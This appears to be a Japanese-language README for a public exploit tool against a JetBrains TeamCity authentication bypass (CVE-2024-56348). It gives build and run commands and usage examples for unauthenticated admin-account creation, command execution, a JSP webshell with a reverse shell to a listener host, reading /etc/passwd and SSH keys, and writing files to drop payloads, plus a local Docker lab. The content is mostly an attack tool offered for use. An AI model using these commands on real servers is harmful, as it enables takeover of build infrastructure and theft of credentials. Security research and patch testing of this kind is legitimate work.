
CVE-2024-56348 — JetBrains TeamCity <2024.12 認証バイパス + RCEエクスプロイト (認証なし SYSTEM_ADMIN + シェル)
CVE-2024-56348 は、JetBrains TeamCity オンプレミスにおける重大な認証バイパスの脆弱性であり、2024.12 より前のすべてのバージョンに影響します。REST API は ;.jsp を含むパスへのリクエストを不適切に処理し、認証されていない攻撃者が完全に認証されたかのように任意の REST エンドポイントを呼び出すことを可能にします。
このエクスプロイトは、バイパスを TeamCity 自身の REST API と連鎖させて、SYSTEM_ADMIN アカウントを作成し、API トークンを発行し、完全なリモートコード実行を達成します — 組み込みのデバッグエンドポイントを介して、または動的にアップロードされた JSP プラグインウェブシェルを介して。認証情報は不要です。
影響を受けるバージョン: JetBrains TeamCity オンプレミス < 2024.12
-command による単一コマンド、完全な stdout、stderr、終了コード出力付きgit clone https://github.com/joshuavanderpoll/cve-2024-56348.git
cd CVE-2024-56348
go build -o exp cve-2024-56348.go
go install github.com/joshuavanderpoll/cve-2024-56348@latest
go run github.com/joshuavanderpoll/cve-2024-56348@latest -t http://127.0.0.1:8111
-t ターゲット URL (例: http://127.0.0.1:8111)
-command 単一コマンドを実行し、出力を表示
-shell リバースシェルを起動 ( -lhost と -lport が必要)
-lhost リバースシェルのリスナーホスト
-lport リバースシェルのリスナーポート
-read-file リモートファイルを読み取り、その内容を表示
-write-file 書き込み先のリモートパス ( -file-content が必要)
-file-content -write-file 使用時に書き込む内容
アクションフラグがない場合は、自動的に インタラクティブシェル にドロップします。
ターゲットに接続し、バイパスを確認し、一時的な管理者アカウントを作成し、インタラクティブシェルにドロップします。プロンプトには、最後のコマンドの終了コードが緑色(成功)または赤色(非ゼロ)で表示されます。
./cve-2024-56348 -t http://127.0.0.1:8111

1つのコマンドを実行し、stdout、stderr、終了コードを個別に表示します。
./cve-2024-56348 -t http://127.0.0.1:8111 -command "id"

JSP プラグインウェブシェルを展開し、リスナーにリバースシェルを返します。最初に nc -lvp 4444 を起動してください。
./cve-2024-56348 -t http://127.0.0.1:8111 -shell -lhost 10.0.0.1 -lport 4444

TeamCity プロセスがアクセスできる任意のファイルを読み取ります — 設定ファイルや SSH キーなどに便利です。
./cve-2024-56348 -t http://127.0.0.1:8111 -read-file /etc/passwd

任意のコンテンツをリモートパスに書き込みます。追加のペイロードのドロップや設定の変更に便利です。
./cve-2024-56348 -t http://127.0.0.1:8111 -write-file /tmp/readme.txt -file-content "LEAVE ME HERE"

ローカルテスト用の脆弱な TeamCity インスタンスを含む、自己完結型の Docker Compose 環境。詳細は DOCKER.md を参照してください
cd docker/
docker compose up -d
./cve-2024-56348 -t http://127.0.0.1:8111
スクリプトが "[-] Plugin upload failed." を返した場合は、hackindex ユーザーでログインして再試行してください。(認証情報は DOCKER.md にあります)
このツールは教育および研究目的のみで提供されます。作成者は、このツールの誤用またはそれによって生じた損害について一切の責任を負いません。